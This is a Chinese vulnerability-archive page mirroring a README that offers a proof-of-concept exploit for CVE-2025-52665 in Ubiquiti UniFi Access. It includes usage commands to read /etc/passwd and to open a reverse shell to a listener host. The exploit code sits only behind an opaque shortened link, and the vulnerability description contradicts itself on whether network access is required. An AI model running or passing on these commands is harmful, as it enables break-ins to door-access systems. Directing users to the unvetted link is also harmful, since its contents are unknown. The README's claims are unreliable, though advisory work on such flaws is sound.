目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2025-52665 PoC — Ubiquiti UniFi Access Application 安全漏洞

来源
关联漏洞
标题: Ubiquiti UniFi Access Application 安全漏洞 (CVE-2025-52665)
Description:Ubiquiti UniFi Access Application是美国优比快(Ubiquiti)公司的一款门禁控制系统。 Ubiquiti UniFi Access Application 3.3.22版本至3.4.31版本存在安全漏洞,该漏洞源于管理API暴露且缺乏适当身份验证,可能导致未经授权的访问。
介绍
# CVE-2025-52665
This repository contains a **proof-of-concept exploit** for **CVE-2025-52665**, an **unauthenticated API access vulnerability** in **Ubiquiti UniFi Access Application versions 3.3.22 to 3.4.31**.  

The exploit leverages a **misconfiguration in the management API** that exposes critical endpoints **without authentication**, allowing **remote code execution (RCE)** on affected devices. The flaw was introduced in version 3.3.22 and remains present through 3.4.31.


---

### Usage Warning  
> **This tool is for authorized penetration testing only.**  
> Verify legal compliance before use.  
> **Ubiquiti has patched this in 4.0.21+** — update immediately if vulnerable.


---

### Exploit Details  

The vulnerability exists in the **management API** which incorrectly trusts **all requests originating from the local management network** (`192.168.0.0/16`, `10.0.0.0/8`, etc.) without validating session tokens or source IP restrictions.

A malicious actor with **access to the management VLAN** can send crafted JSON payloads to trigger system-level commands via the **diagnostic and update subsystems**.


---


### Installation  
```
pip install -r requirements.txt
```


---

### Usage Examples  

#### 1. Execute a single command  
```
python unifi-rce.py --target http://192.168.1.100:8080 --cmd "cat /etc/passwd"
```

#### 2. Get a reverse shell  
```
# Start listener
nc -lvnp 4444

# Trigger exploit
python unifi-rce.py --target http://192.168.1.100:8080 --reverse 192.168.1.200 4444
```


---

### Mitigation  
- **Update to UniFi Access Application 4.0.21 or later**  
- Restrict management interface to trusted IPs only  
- Disable API access from untrusted networks

  
---


### Exploit - [href](https://tinyurl.com/4e4wdaxt)

For any inquiries, please email me at: eviedejesu803@gmail.com
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →